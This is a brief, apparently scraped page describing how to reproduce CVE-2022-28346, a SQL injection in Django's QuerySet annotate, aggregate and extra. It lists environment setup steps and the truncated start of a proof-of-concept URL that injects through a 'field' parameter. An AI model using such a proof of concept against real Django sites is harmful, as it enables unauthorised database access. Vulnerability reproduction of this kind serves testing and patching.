CVE-2022-28346

CVE-2022-28346 حقن SQL في Django QuerySet.annotate, aggregate, extra تهيئة البيئة root@kitploit: 1.python manage.py makemigrations 2.python manage.py migrate 3.访问http://x.x.x.x:8000/ 插入初始化数据 إعادة إنتاج الثغرة root@kitploit: 访问http://x.x.x.x:8000/demo POC: http://x.x.x.x:8000/demo?field=demo.name...